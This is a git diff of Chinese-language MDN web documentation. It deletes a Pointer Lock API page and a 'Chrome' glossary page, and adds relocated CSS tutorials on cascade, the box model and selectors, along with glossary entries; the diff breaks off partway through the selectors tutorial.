-                              elem.mozRequestPointerLock ||
-                              elem.webkitRequestPointerLock;
-    elem.requestPointerLock();
-  }
-}
-
-document.addEventListener('fullscreenchange', fullscreenChange, false);
-document.addEventListener('mozfullscreenchange', fullscreenChange, false);
-document.addEventListener('webkitfullscreenchange', fullscreenChange, false);
-
-function pointerLockChange() {
-  if (document.mozPointerLockElement === elem ||
-      document.webkitPointerLockElement === elem) {
-    console.log("指针锁定成功了。");
-  } else {
-    console.log("指针锁定已丢失。");
-  }
-}
-
-document.addEventListener('pointerlockchange', pointerLockChange, false);
-document.addEventListener('mozpointerlockchange', pointerLockChange, false);
-document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
-
-function pointerLockError() {
-  console.log("锁定指针时出错。");
-}
-
-document.addEventListener('pointerlockerror', pointerLockError, false);
-document.addEventListener('mozpointerlockerror', pointerLockError, false);
-document.addEventListener('webkitpointerlockerror', pointerLockError, false);
-
-function lockPointer() {
-  elem = document.getElementById("pointer-lock-element");
-  // 开始于使元素进入全屏模式。目前的实现
-  // 要求元素在请求指针锁定前要处于全屏模式下
-  // -- 这在以后可能会发生改变。
-  elem.requestFullscreen = elem.requestFullscreen    ||
-                           elem.mozRequestFullscreen ||
-                           elem.mozRequestFullScreen || // 较旧的 API 把 ‘S’ 大写
-                           elem.webkitRequestFullscreen;
-  elem.requestFullscreen();
-}
-</script>
-
- -

方法/属性 概述

- -

Pointer lock API, 和 Fullscreen API 类似,通过添加新方法来扩展 DOM 元素, requestPointerLock, 目前还是厂商前缀。按下面这样来写:

- -
element.webkitRequestPointerLock(); // Chrome
-
-element.mozRequestPointerLock(); // Firefox
-
- -

目前 requestPointerLock 的实现还是和 requestFullScreen 以及 Fullscreen API 紧紧地绑在一起的。一个元素在能够被指针锁定之前,必须首先进入全屏模式。就像上面演示的那样,锁定指针的过程是异步的,使用 (pointerlockchange, pointerlockerror) 事件来表明请求是成功还是失败了。这和 Fullscreen API 的工作方式是一致的,它使用 requestFullScreen 方法,以及 fullscreenchangefullscreenerror 事件。

- -

Pointer lock API 还扩展了 document 接口,添加了一个新的属性和一个新的方法。新的属性被用于访问当前被锁定的元素(如果有的话),并被命名为 pointerLockElement,目前也使用厂商前缀。 document 添加的新方法是 exitPointerLock ,顾名思义,它是用来退出指针锁定的。

- -

pointerLockElement 属性适用于确定当前是否有被指针锁定的元素(例如,用来做一个布尔检查),以及当有元素被锁定时获取该元素的一个引用。下面是这两种用法的一个例子:

- -
document.pointerLockElement = document.pointerLockElement    ||
-                              document.mozPointerLockElement ||
-                              document.webkitPointerLockElement;
-
-// 1) 用于布尔检查--我们被指针锁定了吗?
-if (!!document.pointerLockElement) {
-  // 指针被锁定
-} else {
-  // 指针未被锁定
-}
-
-// 2) 用于访问指针锁定的元素
-if (document.pointerLockElement === someElement) {
-  // someElement 当前被指针锁定
-}
-
- -

documentexitPointerLock 方法被用来退出指针锁定,而且和 requestPointerLock 一样,使用 pointerlockchangepointerlockerror事件以异步方式工作:

- -
document.exitPointerLock = document.exitPointerLock    ||
-                           document.mozExitPointerLock ||
-                           document.webkitExitPointerLock;
-
-function pointerLockChange() {
-  document.pointerLockElement = document.pointerLockElement    ||
-                                document.mozPointerLockElement ||
-                                document.webkitPointerLockElement;
-
-  if (!!document.pointerLockElement) {
-    console.log("目前还是被锁定。");
-  } else {
-    console.log("已经退出锁定。");
-  }
-}
-
-document.addEventListener('pointerlockchange', pointerLockChange, false);
-document.addEventListener('mozpointerlockchange', pointerLockChange, false);
-document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
-
-// 试图解除锁定
-document.exitPointerLock();
-
- -

pointerlockchange 事件

- -

当指针锁定状态改变时 - 例如,当调用 requestPointerLock, exitPointerLock,用户按下 ESC 键,等等。— pointerlockchange 事件被分发到 document。 这是一个简单事件所以不包含任何的额外数据。

- -
该事件目前在 Firefox 中使用前缀的格式是 mozpointerlockchange ,在 Chrome 中是 webkitpointerlockchange。 
- -

pointerlockerror 事件

- -

当调用 requestPointerLockexitPointerLock而引发错误时,  pointerlockerror 事件被分发到 document。这是一个简单事件所以不包含任何的额外数据。

- -
该事件目前在 Firefox 中被加上前缀为 mozpointerlockerror ,在 Chrome 中为 webkitpointerlockerror。 
- -

鼠标事件扩展

- -

Pointer lock API 使用 movement 属性扩展了标准的 MouseEvent

- -
partial interface MouseEvent {
-    readonly attribute long movementX;
-    readonly attribute long movementY;
-};
- -
movement 属性目前在 Firefox 中被加上前缀为 .mozMovementX.mozMovementY , 在 Chrome 中为.webkitMovementX.webkitMovementY
- -

鼠标事件的两个新参数—movementX 和 movementY—提供了鼠标位置的变化情况。这两个参数的值,等于两个MouseEvent 属性( screenX 和 screenY)之间值的变化程度,这些 MouseEvent 属性被存储在两个连续的鼠标移动事件( eNow 和 ePrevious)中。换言之,指针锁定参数 movementX = eNow.screenX - ePrevious.screenX。(译注:不存在名为 eNow 或 ePrevious 的事件或属性,eNow 代指当前的鼠标移动事件,ePrevious 代指前一个鼠标移动事件)

- -

锁定状态

- -

当指针锁定被启动之后,正常的 MouseEvent 属性 clientX, clientY, screenX, 和 screenY ,保持不变,就像鼠标没有在移动一样。 movementXmovementY 属性持续提供鼠标的位置变化。如果鼠标在一个方向上持续移动,movementXmovementY的值是没有限制的。不存在鼠标光标的概念,而且光标无法移到窗口之外,而且也不会被屏幕边缘所固定。

- -

未锁定状态

- -

无论鼠标锁定状态是怎样的, movementX 和 movementY 参数一直有效,并且为了方便起见,甚至在未锁定状态也是有效的。

- -

当鼠标被解除锁定,系统光标可以退出并重新进入浏览器窗口。如果发生这种情况,movementX 和 movementY 可能会被设置成0。

- -

iframe 的限制

- -

指针锁定一次只能锁定一个 iframe。如果你锁定了一个 iframe,你不能试图锁定另外一个 iframe 然后把目标转移到这个 iframe 上;指针锁定将会出错。为了避免这一问题,首先解锁那个锁定的 iframe,然后再锁定另外一个。

- -

在 iframe 默认的情况下, "sandboxed" iframes 会阻止指针锁定。避免这种限制的能力,即以属性/值 <iframe sandbox="allow-pointer-lock"> 组合的形式 , 有望很快在 Chrome 中出现。

- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持 -

目标是 23{{ property_prefix("webkit") }}*

- -

参见 CR/72574

-
-

{{ CompatGeckoDesktop("14.0") }}

- -

{{bug("633602") }}

-
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

* 在 about:flags 中要求这些特性被启用或是使用 --enable-pointer-lock 标记启动 Chrome。

- -

参见

- -

{{ spec("http://dvcs.w3.org/hg/pointerlock/raw-file/default/index.html", "W3C Pointer Lock API Specification", "ED") }}

- -

MouseEvent

diff --git a/files/zh-cn/chrome/index.html b/files/zh-cn/chrome/index.html deleted file mode 100644 index a40b228f6b..0000000000 --- a/files/zh-cn/chrome/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Chrome -slug: Chrome -tags: - - Toolkit API -translation_of: Glossary/Chrome -translation_of_original: Chrome ---- -

Chrome 这个单词在 Mozilla 的技术中有着多重含义。

-
-
- Browser chrome / Chrome
-
- "browser chrome" 或者直接 Chrome 可以用来指代围绕着普通网页区域的浏览器界面,它对应的词是 content ,表示网页区域.
-
- 更通用点讲, chrome is the entirety of entities making up the user interface of a specific application or extension.
-
-  chrome:// URL
-
- An URL using the chrome:// protocol. Code loaded from a chrome URL has extended, or - - chrome - , privileges.
-
- XUL-based applications load the code for their interface from chrome:// URLs.
-
- Chrome 特权
-
- 拥有 chrome 特权的代码可以实现各种事情, 而普通网页中的 JS 代码则不是。
-
- window.open 方法的 chrome 参数
-
- 将 chrome 参数传给 window.open 能够打开一个没有多余浏览器界面元素(工具栏、地址栏等)的新窗口.
-
- chrome 文件夹
-
- profile 根目录中的 chrome 文件夹通常是用来存放 userChrome.js 扩展需要加载的 js 脚本
-
- -chrome 命令行参数
-
- Starts the application and opens the specified XUL file in a top level window. E.g. mozilla -chrome chrome://inspector/content starts the DOM Inspector.
-
- Chrome 包
-
- A - - chrome package - consists of a set of - - chrome providers - . There are three basic types of chrome providers: -
    -
  • Content. Content can consist of any file type viewable from within Mozilla. In particular, the content provider most often consists of a set of XUL, JavaScript and XBL binding files.
  • -
  • Locale. Translations for multi-language support. The two main types of files are DTD files and java-style properties files.
  • -
  • Skin. The skin provider provides complete appearance data for the user interface. Consisting of CSS files and images.
  • -
-
-
-
-
- chrome.rdf
-
- The chrome registry, stores the list of registered chrome packages and other information. It was located in the install directory and in the profile. It is no longer used since Gecko 1.8 (Firefox 1.5).
-
-

相关链接

-

(Note that while both of the documents below mention contents.rdf files, an easier way of registering your chrome providers - using Chrome Manifests - is supported since Firefox 1.5 / Toolkit 1.8)

- diff --git a/files/zh-cn/conflicting/glossary/chrome/index.html b/files/zh-cn/conflicting/glossary/chrome/index.html new file mode 100644 index 0000000000..a40b228f6b --- /dev/null +++ b/files/zh-cn/conflicting/glossary/chrome/index.html @@ -0,0 +1,70 @@ +--- +title: Chrome +slug: Chrome +tags: + - Toolkit API +translation_of: Glossary/Chrome +translation_of_original: Chrome +--- +

Chrome 这个单词在 Mozilla 的技术中有着多重含义。

+
+
+ Browser chrome / Chrome
+
+ "browser chrome" 或者直接 Chrome 可以用来指代围绕着普通网页区域的浏览器界面,它对应的词是 content ,表示网页区域.
+
+ 更通用点讲, chrome is the entirety of entities making up the user interface of a specific application or extension.
+
+  chrome:// URL
+
+ An URL using the chrome:// protocol. Code loaded from a chrome URL has extended, or + + chrome + , privileges.
+
+ XUL-based applications load the code for their interface from chrome:// URLs.
+
+ Chrome 特权
+
+ 拥有 chrome 特权的代码可以实现各种事情, 而普通网页中的 JS 代码则不是。
+
+ window.open 方法的 chrome 参数
+
+ 将 chrome 参数传给 window.open 能够打开一个没有多余浏览器界面元素(工具栏、地址栏等)的新窗口.
+
+ chrome 文件夹
+
+ profile 根目录中的 chrome 文件夹通常是用来存放 userChrome.js 扩展需要加载的 js 脚本
+
+ -chrome 命令行参数
+
+ Starts the application and opens the specified XUL file in a top level window. E.g. mozilla -chrome chrome://inspector/content starts the DOM Inspector.
+
+ Chrome 包
+
+ A + + chrome package + consists of a set of + + chrome providers + . There are three basic types of chrome providers: +
    +
  • Content. Content can consist of any file type viewable from within Mozilla. In particular, the content provider most often consists of a set of XUL, JavaScript and XBL binding files.
  • +
  • Locale. Translations for multi-language support. The two main types of files are DTD files and java-style properties files.
  • +
  • Skin. The skin provider provides complete appearance data for the user interface. Consisting of CSS files and images.
  • +
+
+
+
+
+ chrome.rdf
+
+ The chrome registry, stores the list of registered chrome packages and other information. It was located in the install directory and in the profile. It is no longer used since Gecko 1.8 (Firefox 1.5).
+
+

相关链接

+

(Note that while both of the documents below mention contents.rdf files, an easier way of registering your chrome providers - using Chrome Manifests - is supported since Firefox 1.5 / Toolkit 1.8)

+ diff --git a/files/zh-cn/conflicting/glossary/doctype/index.html b/files/zh-cn/conflicting/glossary/doctype/index.html new file mode 100644 index 0000000000..543d822170 --- /dev/null +++ b/files/zh-cn/conflicting/glossary/doctype/index.html @@ -0,0 +1,9 @@ +--- +title: DTD +slug: Glossary/DTD +translation_of: Glossary/Doctype +translation_of_original: Glossary/DTD +--- +

{{page("/en-US/docs/Glossary/Doctype")}}

+ +

<!DOCTYPE> informs the browser which version of HTML (or XML) you used to write the document. Doctype is a declaration, not a tag; you can also refer to it as "document type declaration", or "DTD" for short.

diff --git a/files/zh-cn/conflicting/learn/common_questions/index.html b/files/zh-cn/conflicting/learn/common_questions/index.html new file mode 100644 index 0000000000..53aac91402 --- /dev/null +++ b/files/zh-cn/conflicting/learn/common_questions/index.html @@ -0,0 +1,10 @@ +--- +title: Web 工程学 +slug: learn/Web_Mechanics +tags: + - Web 工程学 + - 初学者 +translation_of: Learn/Common_questions +translation_of_original: Learn/Web_Mechanics +--- +

请访问 常见问题

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html new file mode 100644 index 0000000000..e5a3bae8a0 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -0,0 +1,125 @@ +--- +title: 层叠和继承 +slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/CSS/开始/How_CSS_works", "CSS如何工作")}} 这是 开始学CSS 教程的第4节; 这一节介绍了样式表中元素如何从父级继承样式,以及不同层级的样式如何相互作用决定最终显示效果。教给你通过在样式表中添加级联样式语句,进一步控制页面元素的展现。

+ +

资料: 层叠和继承

+ +

一个元素的样式,可以通过多种方式来定义,而多种定义方式之间通过复杂的影响关系决定了元素的最终样式。这种复杂既造就了CSS的强大,也导致CSS显得如此“混乱”而且难以调试。

+ +

对于层叠来说,共有三种主要的样式来源:

+ + + +

用户定义的样式表会覆盖浏览器定义的默认样式,然后网页开发者定义的样式又会覆盖用户样式。在这个教程中,你作为网页的开发者只需要关注开发者样式。

+ +
+
示例
+ +

就你现在看到的这个页面而言,有一部分样式是来自浏览器定义的默认的HTML样式。

+ +

有一部分样式可能来自用户通过浏览器自定义的样式,或者为浏览器引入自定义的样式表。例如,在Firefox中,在“首选项”对话框中可以自定义样式,也可以建立一个单独的userContent.css 样式文件并放到“用户配置”的文件夹中。

+ +

另外,还有一部分样式来自外链的wiki服务器上的样式表。

+
+ +

在浏览器中打开前面写的例子页面,你会发现 {{ HTMLElement("strong") }} 元素中的文字会比其他文字粗一些。这些样式就是在浏览器定义的默认HTML样式。

+ +

而{{ HTMLElement("strong") }} 元素是红色的,这是你在自己的样式表中定义的样式。

+ +

同时,{{ HTMLElement("strong") }} 作为 {{ HTMLElement("p") }} 的子元素,也继承了 {{ HTMLElement("p") }} 的样式。同样的, {{ HTMLElement("p") }} 也从 {{ HTMLElement("body") }} 中继承了许多的样式。

+ +

再来看看优先级,从高到低依次为:网页开发者定义的样式、网页阅读者定义的样式、浏览器的默认样式。

+ +

对继承的元素来说,子元素自身的样式优先级高于从父级继承来的样式。

+ +

当然,关于优先级还有更多的知识点,我们会在后面的章节中继续介绍。

+ +
+
更多细节
+ +

CSS 另外提供了一个!important关键字,用户可以通过使用这个关键字使自己定义的样式覆盖掉开发者定义的样式。

+ +

这就意味着,作为开发者,你很难准确的预知页面最终在用户电脑上的显示效果。

+ +

如果你想了解关于层级和继承的全部细节,请阅读CSS文档中的相关章节(英文):Assigning property values, Cascading, and Inheritance

+
+ +

动手: 使用继承

+ +
    +
  1. 编辑你之前创建的style.css文件。
  2. +
  3. 把下面这行代码粘到以前的文件中,粘在之前的代码的上面或下面都可以。 不过,加在css文件的头部会更符合逻辑一些,因为在页面中 {{ HTMLElement("p") }} 是 {{ HTMLElement("strong") }} 的父级元素: +
    p {color: blue; text-decoration: underline;}
    +
    +
  4. +
  5. 现在刷新你的浏览器,应该可以看到页面的变化。页面里所有的文本应该都被加上了下划线,也包括大写的首字母。{{ HTMLElement("strong") }} 从它的父级元素 {{ HTMLElement("p") }} 上继承到了下划线的样式。
    + +

    但是,{{ HTMLElement("strong") }} 元素仍然是红色的。红色是它本身的样式,所以优先级会超过父级元素 {{ HTMLElement("p") }} 的蓝色.

    +
  6. +
+ + +
+ + + + + + + + +
修改前
Cascading Style Sheets
+ + + + + + + + +
修改后
Cascading Style Sheets
+ +
+
挑战
+改动一下样式表,完整如下效果:只在红色的字母上加下划线: + + + + + + + +
Cascading Style Sheets
+ +
+
参考答案
+ +

把定义在 {{ HTMLElement("p") }} 标签上的下划线样式移到 {{ HTMLElement("strong") }} 标签上。改后代码如下:

+ +
p {color: blue; }
+strong {color: red; text-decoration: underline;}
+
+ +

 

+隐藏答案
+查看参考答案
+ +

下一节?

+ +

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Selectors", "选择器")}} 到目前为止,你在样式表中所有的样式都是为标签上的,<p> 和 <strong>,你可以尝试着改变一下页面中它们的样式。下一节会介绍怎样通过更有效的方式定义样式。

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/index.html new file mode 100644 index 0000000000..0bfb7e2ed5 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/building_blocks/index.html @@ -0,0 +1,331 @@ +--- +title: 盒模型 +slug: Web/Guide/CSS/Getting_started/Boxes +translation_of: Learn/CSS/Building_blocks +translation_of_original: Web/Guide/CSS/Getting_started/Boxes +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Lists", "列表") }}这是 CSS入门教程 的第11节,本节教你如何使用CSS来控制一个可见元素所占据的空间。在示例文档中,你可以修改元素占据的空间并增加装饰规则。

+ +

信息:盒模型

+ +

当你的浏览器展现一个元素时,这个元素会占据一定的空间。这个空间由四部分组成。

+ +

中间是元素呈现内容的区域。这个区域的外面是内边距。再外面是边框。最外面的是外边距,外边距将该元素与其它元素分开。

+ + + + + + + + +
+
+

外边距

+ +

边框

+ +
+

内边距

+ +
+

元素

+
+
+
+ +

浅灰色标出了布局的几个部分。

+
+
+

 

+ +

 

+ +
+

 

+ +
+

元素

+
+
+
+ +

你在浏览器看到的样子。

+
+ +

内边距,边框和外边距在元素的上、右、下、左都可以有不同的大小。所有这些大小值都可以为0。

+ +

颜色

+ +

内边距总是跟元素的背景色一样,所以当你设置背景色时,你会发现背景色在元素本身和内边距上都生效了。外边距总是透明的。

+ + + + + + + + +
+
+

外边距

+ +

边框

+ +
+

内边距

+ +
+

元素

+
+
+
+ +

元素有绿色的背景。

+
+
+

 

+ +

 

+ +
+

 

+ +
+

元素

+
+
+
+ +

你在浏览器看到的样子。

+
+ +

边框

+ +

你可以用边线或者边框来装饰元素。

+ +

用 {{ cssxref("border") }} 属性给元素四周指定统一的边框。在属性值中指定边框的宽度(通常是以显示到屏幕上的像素为单位), 样式, 还有颜色。

+ +

样式包括:

+ + + + + + + + + + + + + + + + +
+
solid
+
+
dotted
+
+
dashed
+
+
double
+
+
inset
+
+
outset
+
+
ridge
+
+
groove
+
+ +

你也可以通过设置样式为 nonehidden 来明确地移除边框,或者设置边框颜色为 transparent 来让边框不可见,后者不会改变布局。

+ +

如果一次只指定某一个方向的边框,就用属性: {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{cssxref("border-bottom")}}, {{cssxref("border-left")}}。 你可以用这些属性指定某个方向上的边框,或者不同方向上的不同边框。

+ +
+
例子
+ +

下面的代码设置了一个h3元素的背景色和顶部边框:

+ +
h3 {
+  border-top: 4px solid #7c7; /* 中绿 */
+  background-color: #efe;     /* 浅绿 */
+  color: #050;                /* 深绿 */
+  }
+
+ +

结果如下:

+ + + + + + + +
+

样式化后的标题

+
+ +

下面的规则通过给图片四周设置中灰色边框,使得图片元素更好辨认:

+ +
img {border: 2px solid #ccc;}
+
+ +

结果如下:

+ + + + + + + + +
图片:Image:Blue-rule.png
+
+ +

外边距和内边距

+ +

使用外边距和内边距调整元素的位置,并在其周围创建空间。

+ +

用 {{ cssxref("margin") }} 属性或者 {{ cssxref("padding") }} 属性分别设置外边距和内边距的宽度。

+ +

如果你指定一个宽度,它将会作用于元素四周(上、右、下、左)。

+ +

如果你指定两个宽度, 第一个宽度会作用于顶部和底部,第二个宽度作用于右边和左边。

+ +

你也可以按照顺序指定四个宽度: 上、右、下、左。

+ +
+
例子
+ +

下面的规则通过给元素四周设置红色边框,标记出了类名为  remark 的段落元素。

+ +

文本周围的内边距将边框与文字拉开一点距离。

+ +

左外边距使得段落相对于其余文本产生缩进:

+ +
p.remark {
+  border: 2px solid red;
+  padding: 4px;
+  margin-left: 24px;
+  }
+
+ +

结果如下:

+ + + + + + + +
+

这是一个普通的段落。

+ +

这是一个标记段落。

+
+
+ +
+
更多细节
+ +

当你使用外边距和内边距来调整元素的布局时,你的样式规则会与浏览器的默认规则以复杂的方式相互作用。

+ +

不同的浏览器布局元素的方式不一样。直到你的样式表修改默认样式,结果可能看起来相似。有时这可能让你的样式表给出令人惊讶的结果。

+ +

为了达到理想的效果,你可能需要改变文档的标记。本教程的下一页有更多关于这个的信息。

+ +

欲知更多关于内边距,外边距和边框的细节, 请看 盒模型 参考页。

+
+ +

实践:添加边框

+ +

编辑你的CSS文件,style2.css。添加下面的规则,给页面中每个标题元素上面画一条线:

+ +
h3 {border-top: 1px solid gray;}
+
+ +

如果你做了前一页的挑战题,现在修改你已经创建的规则,或者添加这条新规则,给每个列表项的下面增加一定的空间:

+ +
li {
+  list-style: lower-roman;
+  margin-bottom: 8px;
+  }
+
+ +

刷新你的浏览器看看效果:

+ + + + + + + +
+

(A) The oceans

+ +
    +
  • Arctic
  • +
  • Atlantic
  • +
  • Pacific
  • +
  • Indian
  • +
  • Southern
  • +
+ +

(B) Numbered paragraphs

+ +

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+ +
+
挑战
+ +

给你的样式表添加一个规则,为下面的海洋列表增加 一个四面环绕且带有颜色的边框,来突出海洋——如下图所示:

+ + + + + + + +
+

(A) The oceans

+ +
+
    +
  • Arctic
  • +
  • Atlantic
  • +
  • Pacific
  • +
  • Indian
  • +
  • Southern
  • +
+
+ +

(B) Numbered paragraphs

+ +

. . .

+
+ +

 

+ +

(不必完全保证宽度和颜色和这里的一模一样。)

+
+ +

看答案。

+ +

下一节?

+ +

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Layout", "布局") }}通过指定外边距和内边距,你已经能修改文档的布局了。下一页,你将使用别的方式来改变文档的布局 。

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html new file mode 100644 index 0000000000..69f0700b19 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html @@ -0,0 +1,414 @@ +--- +title: 选择器 +slug: Web/Guide/CSS/Getting_started/Selectors +translation_of: Learn/CSS/Building_blocks/Selectors +translation_of_original: Web/Guide/CSS/Getting_started/Selectors +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/CSS/开始/Cascading_and_inheritance", "层叠和继承")}}这是 CSS入门教程 的第五节; 本节将讲述如何应用样式;不同的选择器有不同的优先级;你在样例文档中为标签增加一些属性,在样式中使用这些属性。

+ +

资料: 选择器(Selectors)

+ +

CSS有一套用于描述其语言的术语。在前面的教程中,你应该已经写过这个样式:

+ +
strong {
+  color: red;
+}
+
+ +

在CSS的术语中,上面这段代码被称为一条规则(rule)。这条规则以选择器strong开始,它选择要在DOM中哪些元素上使用这条规则。

+ +
+
更多细节
+ +

花括号中的部分称为声明(declaration)

+ +

关键字color是一个属性red 是其对应的值.

+ +

同一个声明中的 属性和值组成一个名值对(property-value pairs),名值对用分号分隔.

+ +

这个教程中将类似strong的选择器称为标签选择器(tag selector).CSS规范中称之为类型选择器(type selector).

+
+ +

本节将介绍更多的选择器。

+ +

除了标签名称,你还可以在选择器中使用属性值。这样你就可以更具体的描述你的规则.

+ +

其中 class 和 id 两个属性具有比较重要的地位。

+ +

类选择器(Class selectors)

+ +

通过设置元素的 class 属性,可以为元素指定类名。类名由开发者自己指定。 文档中的多个元素可以拥有同一个类名。

+ +

在写样式表时,类选择器是以英文句号(.)开头的。

+ +

ID选择器(ID selectors)

+ +

通过设置元素的 id 属性为该元素制定ID。ID名由开发者指定。每个ID在文档中必须是唯一的。

+ +

在写样式表时,ID选择器是以#开头的。

+ +
+
例:
+下面的p标签同时具有 class 属性和id 属性: + +
<p class="key" id="principal">
+
+ +

id 属性值 principal必须在文档中是唯一的;但文档中的其他标签可以有和p相同的 class 属性值 key.

+ +

在一个CSS样式表中, 下面的规则将使所有class属性等于key的元素文字颜色呈现绿色。(这些元素不一定都是 {{ HTMLElement("p") }} 元素。)

+ +
.key {
+  color: green;
+}
+
+ +

下面的规则将使 id 等于 principal 的那个元素的文字变为粗体:

+ +
#principal {
+  font-weight: bolder;
+}
+
+
+ +

如果多于一个规则指定了相同的属性值都应用到一个元素上,CSS规定拥有更高确定度的选择器优先级更高。ID选择器比类选择器更具确定度, 而类选择器比标签选择器(tag selector)更具确定度。

+ +
+
更多细节
+ +

你也可以将多个选择器组合起来构成更确定的选择器。

+ +

比如,选择器.key 选中所有class属性为 key的元素. 选择器 p.key 选中所有class属性为key的{{ HTMLElement("p") }} 元素。

+ +

除了class 和 id,你还可以用方括号的形式指定其他属性。比如,选择器 [type='button'] 选中所有 type 属性为 button 的元素。

+
+ +

如果样式中包含冲突的规则,且它们具有相同的确定度。那么,后出现的规则优先级高。

+ +

如果你遇到规则冲突,你可以增加其中一条的确定度或将之移到后面以使它具有更高优先级。

+ +

伪类选择器(Pseudo-classes selectors)

+ +

CSS伪类(pseudo-class)是加在选择器后面的用来指定元素状态的关键字。比如,{{ Cssxref(":hover") }} 会在鼠标悬停在选中元素上时应用相应的样式。

+ +

伪类和伪元素(pseudo-elements)不仅可以让你为符合某种文档树结构的元素指定样式,还可以为符合某些外部条件的元素指定样式:浏览历史(比如是否访问过 ({{ cssxref(":visited") }}), 内容状态(如 {{ cssxref(":checked") }} ), 鼠标位置 (如{{ cssxref(":hover") }}). 完整列表参见 CSS3 Selectors working spec.

+ +
+
语法
+ +
selector:pseudo-class {
+  property: value;
+}
+
+
+ +

伪类列表

+ + + +

资料: 基于关系的选择器

+ +

CSS还有多种基于元素关系的选择器。通过它们你可以更精确的选择元素。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常见的基于关系的选择器
选择器选择的元素
A E元素A的任一后代元素E (后代节点指A的子节点,子节点的子节点,以此类推)
A > E元素A的任一子元素E(也就是直系后代)
E:first-child任一是其父母结点的第一个子节点的元素E
B + E元素B的任一下一个兄弟元素E
B ~ EB元素后面的拥有共同父元素的兄弟元素E
+ +

你可以任意组合以表达更复杂的关系。

+ +

你还可以使用星号(*)来表示”任意元素“。

+ +
+
+ +

一个HTML表格有id 属性,但是它的行和单元格没有单独的id:

+ +
<table id="data-table-1">
+...
+<tr>
+<td>Prefix</td>
+<td>0001</td>
+<td>default</td>
+</tr>
+...
+
+ +

下面的规则使表格每行的第一个单元格字体为粗体,使第二个单元格使用等宽字体。这条规则只影响id为data-table-1的表格:

+ +
    #data-table-1 td:first-child {font-weight: bolder;}
+    #data-table-1 td:first-child + td {font-family: monospace;}
+
+ +

最终效果:

+ + + + + + + +
+ + + + + + + + +
Prefix0001default
+
+
+ +
+
更多细节
+ +

一般情况下,如果你提高了某个选择器的的确定度,你便提高它的优先级。

+ +

使用这个技巧,可以避免为大量标签指定 class 或 id 属性。CSS(引擎)会帮你做的。

+ +

在复杂设计中速度非常重要,避免使用复杂的依赖元素关系的规则可以使你的样式更有效率。

+ +

更多关于表格的例子,见 Tables

+
+ +

实例: 使用类选择器和ID选择器

+ +
    +
  1. 创建一个HTML文件
  2. +
  3. 将下面内容拷贝到HTML文件中 +
    <!doctype html>
    +<html>
    +  <head>
    +  <meta charset="UTF-8">
    +  <title>Sample document</title>
    +  <link rel="stylesheet" href="style1.css">
    +  </head>
    +  <body>
    +    <p id="first">
    +      <strong class="carrot">C</strong>ascading
    +      <strong class="spinach">S</strong>tyle
    +      <strong class="spinach">S</strong>heets
    +    </p>
    +    <p id="second">
    +      <strong>C</strong>ascading
    +      <strong>S</strong>tyle
    +      <strong>S</strong>heets
    +    </p>
    +  </body>
    +</html>
    +
    +
  4. +
  5. 创建style1.css: +
    strong { color: red; }
    +.carrot { color: orange; }
    +.spinach { color: green; }
    +#first { font-style: italic; }
    +
    +
  6. +
  7. 保存文件,在浏览器中查看效果: + + + + + + + + + +
    Cascading Style Sheets //此处应为斜体
    Cascading Style Sheets
    + +

    重新组织样式中规则的顺序,你会发现改变这几条规则的顺序不会影响最终效果。

    + +

    类选择器 .carrot.spinach 比标签选择器 strong 拥有更高优先级。

    + +

    ID 选择器 #first 比类选择器和标签选择器更优先。

    +
  8. +
+ +
+
挑战
+ +
    +
  1. 不改变HTML内容, 增加一条规则,不改变首字母颜色,将第二个p标签中的其他文字变成蓝色: + + + + + + + + + +
    Cascading Style Sheets
    Cascading Style Sheets
    +
  2. +
  3. 现在改变上面增加的那条规则(不改变其他任何内容)让第一个p标签中的其他文字也变成蓝色: + + + + + + + + + +
    Cascading Style Sheets
    Cascading Style Sheets
    +
  4. +
+ +
+
Possible solution
+ +
    +
  1. Add a rule with an ID selector of #second and a declaration color: blue;, as shown below: + +
    #second { color: blue; }
    +
    + A more specific selector, p#second also works.
  2. +
  3. Change the selector of the new rule to be a tag selector using p: +
    p { color: blue; }
    +
    +
  4. +
+Hide solution
+See a solution for the challenge.
+ +

实例: 使用伪类选择器

+ +
    +
  1. 创建如下 HTML: +
    <!doctype html>
    +<html>
    +  <head>
    +  <meta charset="UTF-8">
    +  <title>Sample document</title>
    +  <link rel="stylesheet" href="style1.css">
    +  </head>
    +  <body>
    +    <p>Go to our <a class="homepage" href="http://www.example.com/" title="Home page">Home page</a>.</p>
    +  </body>
    +</html>
    +
    +
  2. +
  3. 编辑CSS: +
    a.homepage:link, a.homepage:visited {
